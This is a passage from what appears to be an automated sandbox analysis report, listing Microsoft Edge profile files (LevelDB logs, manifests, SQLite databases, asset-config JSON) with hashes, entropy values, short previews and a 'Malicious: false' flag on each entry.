SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.216357407962474
Encrypted:	false
SSDEEP:	6:HHKLWams1cNwi23oH+Tcwtp3hBtB2KLlVHKLkN1yq2PcNwi23oH+Tcwtp3hBWsIg:nvamWZYebp3dFL/njyvLZYebp3eFUv
MD5:	D861F219DC92CDE6D9810EBD364C30C9
SHA1:	59297222763B022A70FFEC72B2FE95C98DD25E1F
SHA-256:	B58C427DF2C70C84CC52E9E6919D6A56D85A24EF3BB9D03BBD99BB7D476DFE4E
SHA-512:	DB5EC5338F8125324591C691F8D41A43A1BCBBC92830B42714B09E53C337A48B1E1DAB0AEEE581AC51E12A114EB3021CA7E98DF6F5AF2DC27DBBFB8D3091AB43
Malicious:	false
Preview:	2024/11/20-16:28:29.650 20a0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/20-16:28:29.662 20a0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1696115
Entropy (8bit):	5.040627745029248
Encrypted:	false
SSDEEP:	24576:kPf76gGkISshcFdmcOAoPENUpifYP+MbI2T:kPfgAmmE
MD5:	D96BE43E426DF056BD7230CC1253CE99
SHA1:	464CAB677989C1E497FAC02583CEB442B3775121
SHA-256:	57F35C0AE89C1F0C007751A992B6CB3C5DEDFBC0DBC426A23F3CBE94748236BA
SHA-512:	615B806C7D5C2D3746181697B60864F61F61A04BF626C8F18E667030376EC5F2128BD423B6473189010AC79C33D58DA70F2098A48241D518258723031ECD310C
Malicious:	false
Preview:	...m.................DB_VERSION.1.....................QUERY_TIMESTAMP:arbitration_priority_list4...13340965219355520.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.135325348772623
Encrypted:	false
SSDEEP:	6:HHKLQr3+q2PcNwi23oH+Tcwt9Eh1tIFUt8YHKLHZmw+YHKLULVkwOcNwi23oH+TI:nkvLZYeb9Eh16FUt8kc/+kL54ZYeb9Er
MD5:	BC55A9AFCD4792A9F46D56DB78C82666
SHA1:	70D3F8AA427A5B9BD33F217810EC321CFF06C46F
SHA-256:	273B67647904C08221992F1AE6738405E66F7300CF1A33DAD178E9C4D97733BF
SHA-512:	BA01EB4EB958B2A784326CBDBDDCF9170CD21F24B2B81AC8F28B2A4C9FAEA885494A7621E19007408065D32F46A66A0AFDB03EF8D2AAA907446753EC2C3C94FB
Malicious:	false
Preview:	2024/11/20-16:28:29.481 20d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/20-16:28:29.482 20d8 Recovering log #3.2024/11/20-16:28:29.485 20d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.135325348772623
Encrypted:	false
SSDEEP:	6:HHKLQr3+q2PcNwi23oH+Tcwt9Eh1tIFUt8YHKLHZmw+YHKLULVkwOcNwi23oH+TI:nkvLZYeb9Eh16FUt8kc/+kL54ZYeb9Er
MD5:	BC55A9AFCD4792A9F46D56DB78C82666
SHA1:	70D3F8AA427A5B9BD33F217810EC321CFF06C46F
SHA-256:	273B67647904C08221992F1AE6738405E66F7300CF1A33DAD178E9C4D97733BF
SHA-512:	BA01EB4EB958B2A784326CBDBDDCF9170CD21F24B2B81AC8F28B2A4C9FAEA885494A7621E19007408065D32F46A66A0AFDB03EF8D2AAA907446753EC2C3C94FB
Malicious:	false
Preview:	2024/11/20-16:28:29.481 20d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/20-16:28:29.482 20d8 Recovering log #3.2024/11/20-16:28:29.485 20d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46252463622641293
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBu6:TouQq3qh7z3bY2LNW9WMcUvBu6
MD5:	CE14C692FEB0A5B5A81FAE5231839328
SHA1:	023133D93336D7BD3419F8BEDD6B864514EC11A0
SHA-256:	712F0AE4DF700B9C84A49F06FA9527AF7E1BD3751CF5D1528F1AB95D0A79A9AD
SHA-512:	125334A371CF1833E1E2736534FBC6D60E5DFCE59AB87651FFAF808193FB95B14CFF346210CCF46C440B71BAB90922F879E66E2BD9FEAEA538F15942EBB54898
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	351
Entropy (8bit):	5.239060442806275
Encrypted:	false
SSDEEP:	6:HH5jlyq2PcNwi23oH+TcwtnG2tMsIFUt8YHeV61Zmw+YHe1pRkwOcNwi23oH+Tci:nryvLZYebn9GFUt8ke+/+ke1pR54ZYeV
MD5:	56EDEF1CF2C4DC73007718DDDC5D17FF
SHA1:	47BECE27AB691E1817A73DFBC31AD5E0B7441DF0
SHA-256:	231A6AEA30378EA7CCE20F3B6726837128D45D7CB4799C6C55CCB41FBBCE7B31
SHA-512:	3B1EE925EBE01A213F325C6BD4849B4FF569A5AA5C298FCDFA60971935C97CC7C716962BAB6898FF45CE3B0DDB9B3799694F66F3C88B55E734607BD1AE855FB2
Malicious:	false
Preview:	2024/11/20-16:28:24.371 f54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/20-16:28:24.382 f54 Recovering log #3.2024/11/20-16:28:24.383 f54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	351
Entropy (8bit):	5.239060442806275
Encrypted:	false
SSDEEP:	6:HH5jlyq2PcNwi23oH+TcwtnG2tMsIFUt8YHeV61Zmw+YHe1pRkwOcNwi23oH+Tci:nryvLZYebn9GFUt8ke+/+ke1pR54ZYeV
MD5:	56EDEF1CF2C4DC73007718DDDC5D17FF
SHA1:	47BECE27AB691E1817A73DFBC31AD5E0B7441DF0
SHA-256:	231A6AEA30378EA7CCE20F3B6726837128D45D7CB4799C6C55CCB41FBBCE7B31
SHA-512:	3B1EE925EBE01A213F325C6BD4849B4FF569A5AA5C298FCDFA60971935C97CC7C716962BAB6898FF45CE3B0DDB9B3799694F66F3C88B55E734607BD1AE855FB2
Malicious:	false
Preview:	2024/11/20-16:28:24.371 f54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/20-16:28:24.382 f54 Recovering log #3.2024/11/20-16:28:24.383 f54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6135358587931855
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mW/qeWQlMAqu:TLapR+DDNzWjJ0npnyXKUO8+j/CpJGmL
MD5:	AA2D63DE92B8EC398589FD4BC3B6F210
SHA1:	D172F1ADF12D510F4995F3BF1B5C466459B6CFF6
SHA-256:	E721F2FD5C7B193DB3B49D2E6BDA09DA328D03E514C703FD6CA163768BEE0BB7
SHA-512:	1213B37BEDF5AD8D30F9915145D29CBEF50D47F970BA0157795748D24F15916D67165965D962B2B674E1E0F9C17C9E3FED2AB0674A3E70FD0FCACE7EDA7AA2AC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354109780465814
Encrypted:	false
SSDEEP:	6144:lA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:lFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	A532618DABDCAD587789DCEAAF0B46DE
SHA1:	EB1FBDE04A933ABCB880F82DA7B693227B9DBF6E
SHA-256:	28EABAD088C6E445CE612BE105F978571AF26FAD278870E41F525A4E550E020B
SHA-512:	B02B5D9A61322AA268BB14030AAB6CF2E88766AD77CF8F876FA48FF12EE4315432001D0F53FA0CE18E5D79D2A7FAAC006BF2D836E4055791FCD31D78DC1B5DCC
Malicious:	false
Preview:	...m.................DB_VERSION.1.m.!q...............&QUERY_TIMESTAMP:domains_config_gz2...13376611712430052..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.180382164118945
Encrypted:	false
SSDEEP:	6:HHKL42D1cNwi23oH+Tcwtk2WwnvB2KLlVHKLfq2PcNwi23oH+Tcwtk2WwnvIFUv:nzYZYebkxwnvFL/svLZYebkxwnQFUv
MD5:	DDA83E619B4FF1855576A1DC91EC51CB
SHA1:	D8E6C0AC7C712DD9FF666EAD22FDCA5DC66DAADA
SHA-256:	889FFC10E6361343B4C75D16F06E14358603B77EF3CA1F65BE151DDD8993DF1C
SHA-512:	400C2D6A7D753C619FD1D4B90FAC4DE167F6D535747FF19FE6182D1FA5AB3A52C0EDE30CBB990BB09FB04A725FF8A0932FADD7C1C8F62E408F10F21E14C27D37
Malicious:	false
Preview:	2024/11/20-16:28:29.509 2130 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/20-16:28:29.562 2130 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324611813231191
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6R9:C1gAg1zfvV
MD5:	1BC28B3884CF7AD42749F2A8013454A5
SHA1:	C382F5D2AE7391F63A78E0CB91E14A7C909412D5
SHA-256:	F300813205DAAAD813F8A51A28EC9DD8B2C7EE1F5DE8A8CE989E829F880C3032
SHA-512:	68AB7FF2219B5B6815538404CCA3D044F34A554A3B2A5CA5BB5A2091BFC74BBF8E3EAF746FED2BEB377891D9E205B478F223EBF243F9117D32B1B8AA40CA5743
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.204271829078177
Encrypted:	false
SSDEEP:	6:HHRpQL+q2PcNwi23oH+Tcwt8aPrqIFUt8YH3FZTSGKWZmw+YH3FZTSQLVkwOcNw6:nzQ+vLZYebL3FUt8k3bSGKW/+k3bSQV3
MD5:	A76D59EDE84584F322B9791A9C20AF69
SHA1:	D3359BD89BD9CB81DB763252A3CCEDBB5DAAE8CE
SHA-256:	CD345D21906EDBF892EDACDB9CA514B034865138E72987623C2CB0DDBA02FBEB
SHA-512:	0C525336E223187405635D752276E694DCD0B8F038FF4487680EC6095081B83B63D41A74D8E1D1409EDB04DDD702AF5785A5D8DA0C33780D823469C3F6F4FB36
Malicious:	false
Preview:	2024/11/20-16:28:24.371 1e5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/20-16:28:24.374 1e5c Recovering log #3.2024/11/20-16:28:24.374 1e5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.204271829078177
Encrypted:	false
SSDEEP:	6:HHRpQL+q2PcNwi23oH+Tcwt8aPrqIFUt8YH3FZTSGKWZmw+YH3FZTSQLVkwOcNw6:nzQ+vLZYebL3FUt8k3bSGKW/+k3bSQV3
MD5:	A76D59EDE84584F322B9791A9C20AF69
SHA1:	D3359BD89BD9CB81DB763252A3CCEDBB5DAAE8CE
SHA-256:	CD345D21906EDBF892EDACDB9CA514B034865138E72987623C2CB0DDBA02FBEB
SHA-512:	0C525336E223187405635D752276E694DCD0B8F038FF4487680EC6095081B83B63D41A74D8E1D1409EDB04DDD702AF5785A5D8DA0C33780D823469C3F6F4FB36
Malicious:	false
Preview:	2024/11/20-16:28:24.371 1e5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/20-16:28:24.374 1e5c Recovering log #3.2024/11/20-16:28:24.374 1e5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.215339786059944
Encrypted:	false
SSDEEP:	6:HHeHJSQL+q2PcNwi23oH+Tcwt865IFUt8YHetfGKWZmw+YHetfQLVkwOcNwi23o4:neHcQ+vLZYeb/WFUt8ketGKW/+ketQVs
MD5:	374CCDF72FBDCDB926AE19B9C70D52E4
SHA1:	D7DC4CD91FF757D279D94F6508733F3BCC0F2267
SHA-256:	7D9EA0464DAA00733DCF2802A85FA612A84C478E570F43825AA3FEE2C227F40E
SHA-512:	D1AB3312EF82C67D6C847C685CA573ACBBC7DFA8137F8A7EE9C4ABAD68119D3F90C899E4108DD8CCB5F549E884877187B9F8EEB7F75126508036D35D4DF2893A
Malicious:	false
Preview:	2024/11/20-16:28:24.388 1e5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/20-16:28:24.389 1e5c Recovering log #3.2024/11/20-16:28:24.389 1e5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.215339786059944
Encrypted:	false
SSDEEP:	6:HHeHJSQL+q2PcNwi23oH+Tcwt865IFUt8YHetfGKWZmw+YHetfQLVkwOcNwi23o4:neHcQ+vLZYeb/WFUt8ketGKW/+ketQVs
MD5:	374CCDF72FBDCDB926AE19B9C70D52E4
SHA1:	D7DC4CD91FF757D279D94F6508733F3BCC0F2267
SHA-256:	7D9EA0464DAA00733DCF2802A85FA612A84C478E570F43825AA3FEE2C227F40E
SHA-512:	D1AB3312EF82C67D6C847C685CA573ACBBC7DFA8137F8A7EE9C4ABAD68119D3F90C899E4108DD8CCB5F549E884877187B9F8EEB7F75126508036D35D4DF2893A
Malicious:	false
Preview:	2024/11/20-16:28:24.388 1e5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/20-16:28:24.389 1e5c Recovering log #3.2024/11/20-16:28:24.389 1e5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.1753802618522995
Encrypted:	false
SSDEEP:	6:HHGLsuA1q2PcNwi23oH+Tcwt8NIFUt8YHGLRjZZmw+YHGLRjzkwOcNwi23oH+TcN:ncCvLZYebpFUt8k8Z/+k8z54ZYebqJ
MD5:	633047AF23E691D604B50841A6F98534
SHA1:	5A6301F159468E67856D35EDB2F71F883618AA26
SHA-256:	490E5DA2064672B9D0F09A19ABB355B746CD33474A20EB835FD521E9CEB4A89A
